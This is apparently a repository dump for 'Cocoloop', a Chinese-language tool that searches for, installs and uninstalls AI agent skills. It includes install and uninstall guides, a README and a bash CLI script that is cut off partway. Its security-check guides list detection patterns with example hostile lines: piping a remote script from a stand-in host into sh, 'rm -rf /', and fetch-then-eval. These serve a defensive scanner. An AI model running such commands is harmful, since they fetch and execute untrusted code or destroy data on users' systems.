提交和发布先确认这次要发哪些文件，不要把无关改动一起带上。常用步骤： ```bash git status --short git add <需要发布的文件> git commit -m "" git push origin main ``` 如果有本地维护手册、测试文件或临时产物，确认它们已经被 `.gitignore` 排除。 ## 9. 回滚如果这次发布后发现行为异常，先找刚刚推送的提交： ```bash git log --oneline -n 5 ``` 优先做两件事： - 重新安装上一个稳定版本的本地 `cocoloop` skill - 回退远端代码到上一个稳定提交如果只是本地 skill 异常，先重新安装： ```bash bash scripts/cocoloop.sh install . --scope user --force ``` 如果是远端提交需要回退，按团队约定选择回滚方式。默认不要直接用破坏性命令，除非已经确认影响范围。 ## 10. 常见故障 ### 10.1 搜索有官方结果，但看起来不对先区分： - 是 API 返回的候选本身就不对 - 还是 CLI 展示字段错位可以直接用 `curl` 对比原始接口返回。 ### 10.2 本地明明装过 skill，搜索却没看到先检查目录： - 当前 Agent 的项目级目录 - 当前 Agent 的用户级目录 - `~/.cocoloop/skills` 再确认该 skill 根目录里是否真的有 `SKILL.md`。 ### 10.3 install 直接返回 handoff-to-agent 这通常是正常保护，不一定是 bug。优先判断： - 当前环境是不是未知平台 - 当前来源是不是页面链接、文章页或不支持的归档 - 已知安装流是不是失效了 ### 10.4 search 提示可移植这说明本地其他已知 Agent 环境里已经有相近或同名 skill。下一步应该先问用户： - 要不要直接移植到当前环境 - 还是继续走官方安装不要在没确认前直接移动或覆盖。 ## 11. 文档入口 - 普通使用说明看 `README.md` - Skill 行为定义看 `SKILL.md` - 搜索细节看 `references/search-guide.md` - 安装细节看 `references/install-guide.md` - 卸载细节看 `references/uninstall-guide.md` - 这份手册只用于本地维护 FILE:references/uninstall-guide.md # Skill 卸载流程详细指南卸载流程要和新的安装逻辑保持一致。重点不是只删一个固定目录，而是先找到 skill 真正装在哪，再删那一份。 ## 第一步：定位当前平台先沿用安装阶段的同一套平台判断逻辑。 ### Codex 候选目录： - `.agents/skills//` - `~/.agents/skills//` - `~/.codex/skills//` 相关配置： - `~/.codex/config.toml` ### Claude Code 候选目录： - `.claude/skills//` - `~/.claude/skills//` 相关配置： - `.claude/settings.json` - `.claude/settings.local.json` - `~/.claude/settings.json` ### OpenClaw 候选目录： - `skills//` - `.agents/skills//` - `~/.agents/skills//` - `~/.openclaw/skills//` 相关配置： - `~/.openclaw/openclaw.json` ## 第二步：确认 skill 是否存在检查候选目录时，至少确认： 1. 目录存在 2. 目录内有 `SKILL.md` 3. frontmatter 的 `name` 与目标 skill 一致，或目录名一致如果同名 skill 同时存在多份： 1. 列出全部路径 2. 让用户确认删哪一份 3. 如果用户说“全部卸载”，再逐个删除 ## 第三步：请求确认建议展示这些信息： ```text 即将卸载以下 skill 名称: cocoloop 平台: Codex 路径: /absolute/path/to/skill 范围: 项目级 / 用户级 ``` 如果用户要求强制卸载，可以跳过确认。 ## 第四步：执行卸载处理顺序： 1. 删除目标 skill 目录 2. 如果该路径在平台配置里被显式引用，提示用户同步清理 3. 清理 Cocoloop 自己的缓存记录 ### Codex 额外检查如果 `~/.codex/config.toml` 里存在指向该 skill 的 `[[skills.config]]` 条目： - 删除对应条目 - 或提示用户手动清理 ### Claude Code 额外检查 Claude Code 通常不需要单独维护 skill 注册表，但如果团队把相关说明写进 `.claude/settings.json` 或本地说明文档里，也要提醒用户同步更新。 ### OpenClaw 额外检查如果 `~/.openclaw/openclaw.json` 的 `skills.load.extraDirs` 里还保留了一个已经废弃的个人 skill 目录，可以提醒用户继续保留或清理。 ## 第五步：验证卸载结果至少检查三件事： 1. 目录已经不存在 2. 不会再从同一路径读到 `SKILL.md` 3. 如果平台有显式路径配置，该配置已移除或已提醒用户处理 ## 批量卸载批量卸载时，把每个 skill 当成独立任务处理： 1. 定位 2. 确认 3. 删除 4. 汇总结果如果一个 skill 卸载失败，不影响其他 skill 继续处理。 ## 可选备份如果用户担心误删，可以先备份： ```text ~/.cocoloop/backups/-.tar.gz ``` 建议在下面几种情况下优先备份： - 用户级 skill 将被覆盖或删除 - skill 来源已经不可访问 - 该 skill 带脚本或自定义资源较多 ## 恢复思路如果用户想恢复： 1. 查找备份压缩包 2. 解压到原来的目标目录 3. 重新执行一次安装后校验 ## 错误处理 | 场景 | 处理方式 | | --- | --- | | 找不到 skill | 列出候选目录并说明未命中 | | 权限不足 | 改为删除用户级目录，或提示用户提升权限 | | 同名 skill 有多份 | 先列出路径，不要擅自全删 | | 目录删掉了但配置仍引用 | 明确提醒用户还有残留配置 | FILE:references/safety-check-guide.md # Cocoloop Safe Check 安全检查流程指南本文档详细描述 Cocoloop 安全检查的执行流程，基于 cocoloop-safe-check 安全认证体系。 ## 检查触发时机 1. **安装前检查**（推荐） - 用户明确请求："检查 xxx 安全" - 来源为 T3 且用户未使用 --skip-check 参数 2. **安装后检查** - 安装完成后询问用户是否需要检查 3. **批量检查** - 检查所有已安装 skills ## 检查流程概览 ``` 开始检查 ↓ 定位 Skill 来源 ├── 本地路径 ──→ 读取本地文件 ├── Skill 名称 ──→ 在安装目录查找 ├── GitHub 链接 ──→ 下载仓库内容 └── URL ──→ 下载内容 ↓ 提取所有代码 ├── SKILL.md 中的代码块 ├── scripts/ 目录文件 ├── references/ 目录（检查可执行代码） └── assets/ 目录（检查可执行文件） ↓ 执行六项检查 ├── 1. 代码安全性 ├── 2. 数据隐私性 ├── 3. 执行安全性 ├── 4. 依赖可靠性 ├── 5. 边界完整性 └── 6. 描述逻辑 ↓ 评估来源可信度 (T1/T2/T3) ↓ 计算安全评级 (S+/S/A/B/C/D) ↓ 生成报告 ──→ 询问保存位置 ──→ 保存报告 ↓ 评级 <= B? ──是──→ 强烈建议用户注意安全 ↓ 完成 ``` ## 详细检查步骤 ### 第一步：定位 Skill 根据用户输入确定检查目标： | 输入类型 | 处理方式 | 示例 | | ----------- | ------------------ | ---------------------------------------------- | | 本地路径 | 直接读取目录 | `~/.claude/skills/pdf-processor/` | | Skill 名称 | 在平台安装目录查找 | `pdf-processor` | | GitHub 链接 | 解析并下载仓库 | `https://github.com/owner/repo` | | GitHub 短链 | 拼接完整地址 | `owner/repo` → `https://github.com/owner/repo` | 下载 GitHub 仓库内容： 1. 获取默认分支：`GET https://api.github.com/repos/{owner}/{repo}` → `default_branch` 2. 下载归档：`https://github.com/{owner}/{repo}/archive/{branch}.zip` 3. 解压到临时目录 ### 第二步：提取代码遍历 skill 目录，提取所有可执行内容： **SKILL.md 代码块提取：** - 正则匹配：/`(\w+)?\n([\s\S]*?)`/g - 记录语言类型和代码内容 - 可执行语言标记：javascript, js, python, py, bash, sh, shell, ruby, rb, php, perl, pl **scripts/ 目录：** - 列出所有文件 - 根据扩展名识别类型：.js, .cjs, .mjs, .py, .sh, .rb, .pl - 读取文件内容 **references/ 目录：** - 检查是否包含可执行代码（按文件扩展名和内容） **assets/ 目录：** - 检查可执行二进制文件 ### 第三步：六项检查 #### 3.1 代码安全性检查检查危险函数和漏洞模式： **D级触发项（一票否决）：** | 模式 | 描述 | 示例 | | --------------- | -------------------- | ------------------------------ | | `eval\s*\(` | 使用 eval 执行代码 | `eval(userInput)` | | `exec\s*\(` | 使用 exec 执行命令 | `exec(userCommand)` | | `system\s*\(` | 使用 system 执行命令 | `system("rm -rf /")` | | `child_process` | 引入 child_process | `require('child_process')` | | `spawn\s*\(` | 使用 spawn 执行命令 | `spawn('sh', ['-c', cmd])` | | `rm\s+-rf\s+/` | 系统破坏性命令 | `rm -rf /` | | `curl.*\|.*sh` | 管道执行远程脚本 | `curl http://x.com/s.sh \| sh` | | `fetch.*eval` | 下载并执行代码 | `fetch(url).then(r=>eval(r))` | **C级触发项：** | 模式 | 描述 | 示例 | | -------------- | ---------------------------------- | -------------------------- | | 硬编码密码 | `password\s*=\s*["'][^"']+["']` | `password = "secret123"` | | 硬编码 API Key | `api[_-]?key\s*=\s*["'][^"']+["']` | `api_key = "sk-xxx"` | | 硬编码 Token | `token\s*=\s*["'][^"']+["']` | `token = "ghp_xxx"` | | 硬编码 Secret | `secret\s*=\s*["'][^"']+["']` | `secret = "xxx"` | | 文件删除操作 | `fs\.unlink\s*\(` | `fs.unlink('/etc/passwd')` | | 目录删除操作 | `fs\.rmdir\s*\(` | `fs.rmdir('/system')` | #### 3.2 数据隐私性检查 **D级触发项：** - 未经用户确认上传本地文件到远程（T3 来源） - 静默收集密码、密钥等敏感信息 - 将敏感数据传输到未加密通道（http 而非 https） **C级触发项：** - 收集的数据超出功能说明范围 - 未明确告知用户数据使用情况检查方法： - 查找网络请求代码（fetch, axios, request, http.get） - 检查请求目标 URL - 检查请求体是否包含敏感字段名 #### 3.3 执行安全性检查 **D级触发项：** - 执行 `rm -rf /` 或类似系统破坏性命令 - 无确认直接执行系统级危险操作（格式化磁盘、修改系统配置） - 修改系统关键配置且无备份机制 **C级触发项：** - 危险操作缺乏二次确认 - 关键操作无回滚机制 #### 3.4 依赖可靠性检查检查是否加载动态代码： - 从网络下载并执行代码 - 使用 `fetch` 或 `curl` 获取远程脚本并执行 - 动态 `import()` 不可信来源的模块 - `require()` 远程模块 **URL 递归检查机制：** 对于动态加载的可执行文件，实施最多 2 层的 URL 递归检查： ``` 第 0 层: Skill 本体代码 ↓ 发现动态加载 URL 第 1 层: 下载并检查第一层动态加载的内容 ↓ 如发现该层内容仍包含动态加载第 2 层: 下载并检查第二层动态加载的内容 ↓ 如第 2 层仍包含动态加载终止递归，最高标记为 C 级（多层动态加载风险） ``` **递归检查流程：** 1. **提取 URL**：从代码中提取所有网络请求目标 URL - `fetch('https://example.com/script.js')` - `curl -o script.sh https://example.com/script.sh` - `import('https://example.com/module.js')` - `require('https://example.com/package')` 2. **逐层检查**： - **第 1 层**：下载 URL 内容，检查是否为可执行代码 - 如果是可执行代码 → 进行安全检查（危险函数、敏感信息等） - 如果包含新的动态加载 URL → 进入第 2 层 - **第 2 层**：下载并检查第二层内容 - 如果仍包含动态加载 → 标记为 C 级（多层动态加载） - 记录所有发现的 URL 链 3. **风险评级规则**： - **无动态加载**：正常评级流程 - **仅第 1 层动态加载**：根据来源分级处理 - **存在第 2 层动态加载**：最高评级为 C 级 - **第 2 层后仍有动态加载**：强制标记为 C 级 **来源分级处理（动态代码）：** - **T1 来源**：可加载官方动态代码，放宽至 B 级要求 - **T2 来源**：动态代码需来源验证，放宽至 C 级要求 - **T3 来源**：严格禁止未经验证的动态代码加载 **多层动态加载示例（C 级）：** ```javascript // Skill 代码（第 0 层） fetch('https://example.com/loader.js'); // 第 1 层 // loader.js 内容（第 1 层） import('https://another.com/runtime.js'); // 第 2 层 // runtime.js 内容（第 2 层） fetch('https://third.com/exec.js'); // 第 3 层 → 触发 C 级标记 ``` #### 3.5 边界完整性检查 - 缺乏基本的输入验证（未检查参数类型、范围） - 对异常情况处理不当（try-catch 缺失） - 错误信息泄露敏感信息（堆栈跟踪包含路径、密钥片段） #### 3.6 描述逻辑审查 - 功能描述是否清晰准确 - 安全相关行为是否有明确告知 - 是否隐瞒潜在风险 ### 第四步：来源可信度评估确定 skill 的来源等级： **T1 - 官方/顶级来源：** - 知名大型技术公司（Google, Microsoft, OpenAI, Anthropic, Meta, AWS） - 顶级开源基金会（Apache, Linux 基金会） - 有官方代码签名 **T2 - 可信组织来源：** - 有实名认证的组织账号 - GitHub 组织账号（非个人） - Stars > 1000 或有良好声誉 **T3 - 社区/个人来源：** - 个人开发者账号 - 小型社区项目 - 来源无法明确验证 ### 第五步：计算评级评级判定流程： ``` 检查开始 ↓ 发现 D 级问题？ ──是──→ D 级（一票否决） ↓ 否发现 C 级问题？ ──是──→ C 级 ↓ 否满足 S 级要求？ ──是──→ S 级 ↓ 否满足 A 级要求？ ──是──→ A 级 ↓ 否 B 级 ``` **纯文档型资产**（无代码）： | 条件 | 评级 | |------|------| | 无 C/D 级问题 + T1/T2 来源 | **S 级** | | 无 C/D 级问题 + T3 来源 | **A 级** | **代码型资产**（有脚本/可执行代码）： S 级要求（需全部满足）： 1. **来源可信**：T1/T2 来源 2. **代码安全**：无危险函数，无注入漏洞 3. **依赖可靠**：版本锁定，无动态代码加载，无已知 CVE 4. **输入验证**：完善的参数校验和类型检查 5. **错误处理**：不暴露敏感信息，有异常处理机制 6. **权限最小化**：权限申请与功能匹配，有明确说明 7. **数据隐私**：无静默收集，用户可控制数据使用 A 级要求（需全部满足）： 1. **代码安全**：无危险函数，无注入漏洞 2. **依赖可靠**：版本锁定，无动态代码加载，无已知 CVE 3. **输入验证**：完善的参数校验和类型检查 4. **错误处理**：不暴露敏感信息，有异常处理机制 5. **权限最小化**：权限申请与功能匹配，有明确说明 6. **数据隐私**：无静默收集，用户可控制数据使用（A 级与 S 级的区别在于：S 级要求 T1/T2 来源，A 级允许 T3 来源） ### 第六步：生成报告报告结构： ```markdown # Cocoloop Safe Check 安全认证报告 ## 基本信息 - Skill 名称: [名称] - 来源: [GitHub 链接/本地路径] - 来源等级: [T1/T2/T3] ## 评级结果评级: [S+/S/A/B/C/D] 评价: [一句话评价] ## 检查依据 ### ✅ 通过项 - [检查项] ### ⚠️ 注意事项 - [注意事项] ### ❌ 问题项 - [问题项] ## 详细检查结果 [各维度详细检查结果] ## 使用建议 [推荐使用场景和安全使用指南] ``` ## 报告保存流程 1. **询问用户保存位置** - 选项：桌面 / 下载文件夹 / 当前工作目录 / 指定路径 / 只展示不保存 2. **根据选择保存** - 文件名格式：`Cocoloop-认证-{skill-name}-{评级}-报告.md` 3. **展示结果摘要** ## 使用建议生成根据评级生成使用建议： **S+/S 级：** - 可放心使用 - 推荐用于生产环境 **A 级：** - 代码安全，可正常使用 - 建议了解作者背景 **B 级：** - 无显著安全问题，但有改进空间 - 建议阅读代码后再使用 **C 级：** - 存在潜在安全问题 - 建议在隔离环境测试后再使用 - 不建议用于处理敏感数据 **D 级：** - 存在严重安全问题 - 强烈建议不要使用 - 如需使用，必须在完全隔离的环境中 FILE:references/cocoloop-safe-check.md # Cocoloop Safe Check 安全检查标准本文件定义了 Cocoloop Skill 管理器的安全检查标准。 ## 评级标准 ### S+ 级 - 通过人工验证 - T1/T2 来源 - 满足所有 S 级要求 ### S 级 - T1/T2 来源 - 代码安全规范 - 依赖版本锁定 - 无动态代码加载 ### A 级 - 代码安全规范 - 依赖版本锁定 - 无动态代码加载 - 允许 T3 来源 ### B 级 - 无 C/D 级问题 - 存在改进空间 ### C 级 - 存在潜在安全漏洞 - 硬编码敏感信息 ### D 级（一票否决） - 使用 eval() 执行不可信网络代码 - 存在 SQL 注入、命令注入等明显漏洞 - 未经确认上传本地文件到远程（T3 来源） - 执行 rm -rf / 等系统破坏性命令 ## 检查维度 ### 1. 代码安全性检查 **D级触发项**： - 使用 `eval()` 执行不可信网络代码 - 使用 `exec()`、`system()` 执行未过滤的用户输入 - 存在 SQL 注入、命令注入、XSS 等明显漏洞 - 存在已知的严重 CVE 漏洞 **C级触发项**： - 存在潜在的安全漏洞（路径遍历、不安全的反序列化） - 硬编码敏感信息（密码、API Key、Token） ### 2. 数据隐私性检查 **D级触发项**： - 未经用户确认上传本地文件到远程（T3 来源） - 静默收集密码、密钥等敏感信息 - 将敏感数据传输到未加密通道 **C级触发项**： - 收集的数据超出功能说明范围 - 未明确告知用户数据使用情况 ### 3. 执行安全性检查 **D级触发项**： - 执行 `rm -rf /` 或类似系统破坏性命令 - 无确认直接执行系统级危险操作 - 修改系统关键配置且无备份机制 **C级触发项**： - 危险操作缺乏二次确认 - 关键操作无回滚机制 ### 4. 依赖可靠性检查检查 skill 是否加载动态代码： - 从网络下载并执行代码 - 使用 `fetch` 或 `curl` 获取远程脚本并执行 - 动态 `import()` 不可信来源的模块 **URL 递归检查（最多 2 层）：** 对动态加载的可执行文件进行递归检查： - **第 1 层**：Skill 代码中直接引用的动态 URL - **第 2 层**：第 1 层内容中引用的动态 URL - **超过 2 层**：发现第 3 层及以上动态加载 → **强制标记为 C 级** **评级规则**： | 动态加载层级 | 评级影响 | |-------------|---------| | 无动态加载 | 正常评级流程 | | 仅第 1 层 | 根据来源分级处理 | | 存在第 2 层 | 最高评级为 C 级 | | 第 2 层后仍有动态加载 | **强制 C 级** | **来源分级处理**： - T1 来源：可加载官方动态代码，放宽至 B 级要求 - T2 来源：动态代码需来源验证，放宽至 C 级要求 - T3 来源：严格禁止未经验证的动态代码加载 **C 级触发场景（多层动态加载）：** ```javascript // 示例：三层动态加载触发 C 级 // Skill 代码 → 加载 loader.js → 加载 runtime.js → 加载 exec.js fetch('https://example.com/loader.js') // 第 1 层 .then(r => eval(r.text())) // loader.js 中： import('https://cdn.com/runtime.js') // 第 2 层 // runtime.js 中： fetch('https://third.com/exec.js') // 第 3 层 → C 级 ``` ### 5. 来源可信度评估 **T1 - 官方/顶级来源**: - 知名大型技术公司（Google, Microsoft, OpenAI, Anthropic, Meta, AWS） - 顶级开源基金会（Apache, Linux 基金会） - 有官方代码签名 **T2 - 可信组织来源**: - 有实名认证的组织账号 - GitHub 组织账号（非个人） - Stars > 1000 或有良好声誉 **T3 - 社区/个人来源**: - 个人开发者账号 - 小型社区项目 - 来源无法明确验证 ### 6. Markdown 内嵌代码检查 SKILL.md 文件中的代码块也需要检查： **高风险代码块**： - 包含代码执行类危险函数（如 eval/exec） - 包含系统破坏性命令 - 包含敏感信息（凭据/密钥） - 包含未经验证的网络下载执行 **中风险代码块**： - 可执行的脚本代码 - 包含网络请求或文件操作的代码 **低风险代码块**： - 配置/数据文件示例 - 代码片段演示（不完整） - 单行简单命令（无害） ## 报告格式 ```markdown # Cocoloop Safe Check 安全认证报告 ## 基本信息 - Skill 名称: [名称] - 来源: [GitHub 链接/本地路径] - 来源等级: [T1/T2/T3] ## 评级结果评级: [S+/S/A/B/C/D] 评价: [一句话评价] ## 检查依据 ### 通过项 - [检查项] ### 注意事项 - [注意事项] ### 问题项 - [问题项] ## 详细检查结果 [各维度详细检查结果] ## 使用建议 [推荐使用场景和安全使用指南] ``` ## 快速检查清单 - [ ] 无 eval/exec/system 等危险函数 - [ ] 无硬编码敏感信息 - [ ] 无 SQL/命令注入漏洞 - [ ] 依赖版本已锁定 - [ ] 无未经验证的动态代码加载 - [ ] 来源可信（T1/T2 优先） - [ ] 有完善的输入验证 - [ ] 错误处理不泄露敏感信息 FILE:agents/openai.yaml interface: display_name: "Cocoloop" short_description: "一个更快速、更安全的 Skill 管理器，用于搜索、下载、安装、更新、卸载和检查 Skills。优先使用 CocoLoop 搜索 API 获取 skill 文件；搜不到时继续在 ClawHub、skills.sh、GitHub 和公开网页中寻找可安装文件，并按当前 Agent 平台写入正确目录。" default_prompt: "Use $cocoloop to help with this task." policy: allow_implicit_invocation: true FILE:README.md # Cocoloop 一个更快、更稳、更偏安全的 Skill 管理器，用来搜索、下载、安装、更新、卸载和检查 Skills。 ## 当前命令 - `cocoloop search --query <关键词>`：搜索官方商店和本地已知 Agent 目录 - `cocoloop featured`：读取主站当前精选推荐技能 - `cocoloop featured --categories`：读取主站当前精选推荐分类 - `cocoloop featured --category "<分类>"`：读取指定分类下的精选推荐技能 - `cocoloop inspect `：查看技能详情 - `cocoloop install `：安装技能 - `cocoloop update `：更新技能 - `cocoloop uninstall `：卸载技能 ## 它解决什么问题很多 Skill 安装流程停在“找到仓库”这一步。Cocoloop 继续往下做两件事： 1. 先从合适的来源把 skill 文件拿回来。 2. 再按当前 Agent 平台写到真正会被读取的目录里。 ## 当前安装逻辑 ### 搜索顺序 1. CocoLoop 搜索 API 2. ClawHub 3. skills.sh 4. GitHub 5. 自由探索只要拿到 skill 文件、压缩包或仓库目录，就统一进入同一套安装流程。 ### 统一安装流程 1. 识别当前 Agent 平台 2. 获取 skill 文件或 skill 目录 3. 标准化成包含 `SKILL.md` 的根目录 4. 按平台选择目标目录 5. 复制并保留 `scripts/`、`references/`、`assets/`、`agents/` 6. 校验安装结果 ## 支持的平台 | 平台 | 项目级目录 | 用户级目录 | 兼容目录 | | --- | --- | --- | --- | | Codex | `.agents/skills/` | `~/.agents/skills/` | `~/.codex/skills/` | | Claude Code | `.claude/skills/` | `~/.claude/skills/` | 无 | | OpenClaw | `skills/` 或 `.agents/skills/` | `~/.agents/skills/` 或 `~/.openclaw/skills/` | `~/.openclaw/skills/` | ## 平台配置示范 ### Codex ```toml [[skills.config]] path = "/Users/you/.agents/skills/cocoloop/SKILL.md" enabled = false ``` ### OpenClaw ```json { "skills": { "load": { "extraDirs": [ "/Users/you/.agents/skills", "/Users/you/.openclaw/skills" ] } } } ``` Claude Code 的 skill 发现主要依赖目录本身，常见做法是直接写入 `.claude/skills/` 或 `~/.claude/skills/`，需要共享额外设置时再配合 `.claude/settings.json`。 ## 搜索来源示范 ### CocoLoop API ```bash curl -L "https://api.cocoloop.com/api/v1/store/skills?page=1&page_size=10&keyword=rsshub&sort=downloads" ``` ### 主站精选推荐 ```bash bash scripts/cocoloop.sh featured bash scripts/cocoloop.sh featured --categories bash scripts/cocoloop.sh featured --category "技术开发" ``` 这个入口只负责读取主站最新精选推荐、分类列表和指定分类下的精选技能。后续是否查看详情、比较候选或继续安装，仍由 Agent 决定。 ### ClawHub ```bash npx clawhub@latest install rsshub ``` ### skills.sh ```bash npx skills add https://github.com/owner/repo --skill rsshub ``` 这些原生命令只在它们和当前 Agent 平台兼容时优先使用。否则还是回到 Cocoloop 的标准化落盘流程。 ## 安全检查 Cocoloop 集成了 CLS 风格的安全检查流程，评级标准为 `S+ / S / A / B / C / D`。重点检查： - 危险代码执行 - 敏感信息处理 - 动态下载与动态执行 - 多层 URL 加载 - 来源可信度 ## 文档 - [Skill 定义文件](SKILL.md) - [安装流程指南](references/install-guide.md) - [搜索流程指南](references/search-guide.md) - [卸载流程指南](references/uninstall-guide.md) - [安全检查流程指南](references/safety-check-guide.md) - [Cocoloop Safe Check 标准](references/cocoloop-safe-check.md) FILE:scripts/cocoloop.sh #!/usr/bin/env bash # shellcheck shell=bash # shellcheck source-path=SCRIPTDIR set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" # shellcheck source=lib/common.sh source "$SCRIPT_DIR/lib/common.sh" # shellcheck source=lib/platform.sh source "$SCRIPT_DIR/lib/platform.sh" # shellcheck source=lib/install.sh source "$SCRIPT_DIR/lib/install.sh" # shellcheck source=lib/uninstall.sh source "$SCRIPT_DIR/lib/uninstall.sh" # shellcheck source=lib/help.sh source "$SCRIPT_DIR/lib/help.sh" # shellcheck source=lib/session.sh source "$SCRIPT_DIR/lib/session.sh" # shellcheck source=lib/api.sh source "$SCRIPT_DIR/lib/api.sh" # shellcheck source=lib/fallback.sh source "$SCRIPT_DIR/lib/fallback.sh" # shellcheck source=lib/safescan.sh source "$SCRIPT_DIR/lib/safescan.sh" cocoloop::print_json_or_raw() { local payload="${1:-}" if cocoloop::has_jq; then jq . <<<"$payload" else printf '%s\n' "$payload" fi } cocoloop::read_skill_version() { local skill_root="$1" cocoloop::trim_line_endings "$(sed -nE 's/^version:[[:space:]]*"?([^"]+)"?/\1/p' "${skill_root}/SKILL.md" | head -n 1)" } cocoloop::show_search_results() { local payload="$1" local count="" count="$(cocoloop::json_get '.data.items | length' "$payload" | head -n 1 || true)" if [[ -n "$count" && "$count" == "0" ]]; then return 1 fi if cocoloop::has_jq; then jq -r ' .data.items[]? | "[\(.id|tostring)] \(.name // .original_name // "-") | author=\((.author // "") | if . == "" then "-" else . end) | version=\((.version // .latest_version // "") | if . == "" then "-" else . end) | security=\((.security_level // .cls_certify // "") | if . == "" then "-" else . end) | download=\((.download_url // "") | if . == "" then "-" else . end)" ' <<<"$payload" return 0 fi printf '%s\n' "$payload" } cocoloop::show_featured_skill_results() { local payload="$1" local count="" count="$(cocoloop::json_get '.data | length' "$payload" | head -n 1 || true)" if [[ -n "$count" && "$count" == "0" ]]; then return 1 fi if cocoloop::has_jq; then jq -r ' .data[]? | "\((.list_num // "-") | tostring). [\((.skill_id // .id // "-") | tostring)] \(.title // .name // "-") | subtitle=\((.subtitle // "") | if . == "" then "-" else . end) | security=\((.security_level // "") | if . == "" then "-" else . end) | downloads=\((.downloads // "") | if . == "" then "-" else . end) | views=\((.views // "") | if . == "" then "-" else . end) | category=\((.category // "") | if . == "" then "-" else . end)" ' <<<"$payload" return 0 fi printf '%s\n' "$payload" } cocoloop::show_featured_category_results() { local payload="$1" local count="" count="$(cocoloop::json_get '.data | length' "$payload" | head -n 1 || true)" if [[ -n "$count" && "$count" == "0" ]]; then return 1 fi if cocoloop::has_jq; then jq -r '.data[]? | "- \(.)"' <<<"$payload" return 0 fi printf '%s\n' "$payload" } cocoloop::show_local_search_results() { local results_file="$1" local count=0 local skill_name agent_name scope path [[ -f "$results_file" ]] || return 1 while IFS=$'\t' read -r skill_name agent_name scope path; do [[ -n "$skill_name" ]] || continue count=$((count + 1)) printf -- '- %s | agent=%s | scope=%s | path=%s\n' \ "$skill_name" \ "$agent_name" \ "$scope" \ "$path" done <"$results_file" [[ "$count" -gt 0 ]] } cocoloop::show_fallback_hints() { local query="$1" cocoloop::print_kv "FALLBACK_CLAWHUB" "$(cocoloop_fallback_clawhub_url "$query")" cocoloop::print_kv "FALLBACK_SKILLS_SH" "$(cocoloop_fallback_skills_sh_url "$query")" cocoloop::print_kv "FALLBACK_GITHUB" "$(cocoloop_fallback_github_search_url "$query")" } cocoloop::local_search_has_migration_candidates() { local results_file="$1" local current_agent="$2" local skill_name agent_name scope path [[ -f "$results_file" ]] || return 1 while IFS=$'\t' read -r skill_name agent_name scope path; do [[ -n "$skill_name" ]] || continue if [[ "$agent_name" != "$current_agent" ]]; then return 0 fi done <"$results_file" return 1 } cocoloop::search::run_sources() { local query="$1" local official_file="$2" local local_file="$3" ( cocoloop_api_search "$query" >"$official_file" || printf '{"data":{"items":[]}}\n' >"$official_file" ) & local official_pid=$! ( cocoloop::platform::search_local_skills "$query" >"$local_file" || : >"$local_file" ) & local local_pid=$! wait "$official_pid" wait "$local_pid" } cocoloop::show_inspect_summary() { local payload="$1" if ! cocoloop::has_jq; then cocoloop::print_json_or_raw "$payload" return 0 fi cocoloop::print_kv "ID" "$(cocoloop::json_get_first_nonempty "$payload" '.data.id' || true)" cocoloop::print_kv "NAME" "$(cocoloop::json_get_first_nonempty "$payload" '.data.name' '.data.original_name' || true)" cocoloop::print_kv "AUTHOR" "$(cocoloop::json_get_first_nonempty "$payload" '.data.author' || true)" cocoloop::print_kv "VERSION" "$(cocoloop::json_get_first_nonempty "$payload" '.data.version' '.data.latest_version' || true)" cocoloop::print_kv "SECURITY_LEVEL" "$(cocoloop::json_get_first_nonempty "$payload" '.data.security_level' '.data.cls_certify' || true)" cocoloop::print_kv "SOURCE_CREDIBILITY" "$(cocoloop::json_get_first_nonempty "$payload" '.data.source_credibility' || true)" cocoloop::print_kv "DOWNLOAD_URL" "$(cocoloop::json_get_first_nonempty "$payload" '.data.download_url' || true)" cocoloop::print_kv "BRIEF" "$(cocoloop::json_get_first_nonempty "$payload" '.data.brief' '.data.desc' || true)" } cocoloop::resolve_skill_id() { local target="$1" local item id if [[ "$target" =~ ^[0-9]+$ ]]; then printf '%s\n' "$target" return 0 fi item="$(cocoloop::resolve_exact_skill_item "$target" || true)" id="$(cocoloop::json_get '.id // empty' "$item" | head -n 1 || true)" [[ -n "$id" ]] || return 1 printf '%s\n' "$id" } cocoloop::command::inspect_not_found() { local target="$1" cocoloop::print_kv "COMMAND" "inspect" cocoloop::print_kv "STATUS" "not-found" cocoloop::print_kv "QUERY" "$target" } cocoloop::command::search() { local query="$1" local payload exact_item exact_name local search_dir official_file local_file local official_found=0 local_found=0 migration_found=0 current_agent search_dir="$(mktemp -d "${TMPDIR:-/tmp}/cocoloop-search.XXXXXX")" official_file="${search_dir}/official.json" local_file="${search_dir}/local.tsv" cocoloop::search::run_sources "$query" "$official_file" "$local_file" payload="$(cat "$official_file")" current_agent="$(cocoloop::platform::detect_agent)" cocoloop::print_kv "COMMAND" "search" cocoloop::print_kv "QUERY" "$query" printf 'OFFICIAL_RESULTS:\n' if cocoloop::show_search_results "$payload"; then official_found=1 else printf ' - none\n' fi printf 'LOCAL_AGENT_RESULTS:\n' if cocoloop::show_local_search_results "$local_file"; then local_found=1 else printf ' - none\n' fi if [[ "$official_found" -eq 0 && "$local_found" -eq 0 ]]; then cocoloop::print_kv "STATUS" "no-results" cocoloop::show_fallback_hints "$query" cocoloop::print_kv "NEXT_STEP" "agent-judgment-or-user-confirmation" rm -rf "$search_dir" return 0 fi if [[ "$official_found" -eq 1 ]]; then exact_item="$(cocoloop::payload_exact_skill_item "$payload" "$query" || true)" if [[ -n "$exact_item" ]]; then exact_name="$(cocoloop::json_get '.name // .original_name // empty' "$exact_item" | head -n 1 || true)" cocoloop::print_kv "EXACT_MATCH" "yes" [[ -n "$exact_name" ]] && cocoloop::print_kv "EXACT_MATCH_SKILL" "$exact_name" else cocoloop::print_kv "EXACT_MATCH" "no" fi else cocoloop::print_kv "EXACT_MATCH" "no" fi if [[ "$local_found" -eq 1 ]]; then if cocoloop::local_search_has_migration_candidates "$local_file" "$current_agent"; then migration_found=1 fi fi if [[ "$migration_found" -eq 1 ]]; then cocoloop::print_kv "LOCAL_MIGRATION_AVAILABLE" "yes" cocoloop::print_kv "LOCAL_NEXT_STEP" "ask-user-whether-to-migrate" elif [[ "$local_found" -eq 1 ]]; then cocoloop::print_kv "LOCAL_MIGRATION_AVAILABLE" "no" cocoloop::print_kv "LOCAL_NEXT_STEP" "local-skill-already-present" else cocoloop::print_kv "LOCAL_MIGRATION_AVAILABLE" "no" fi cocoloop::print_kv "STATUS" "review-required" cocoloop::print_kv "NEXT_STEP" "agent-judgment-or-user-confirmation" rm -rf "$search_dir" } cocoloop::command::featured() { local show_categories="${1:-false}" local category="${2:-}" local payload count="" if [[ "$show_categories" == "true" ]]; then 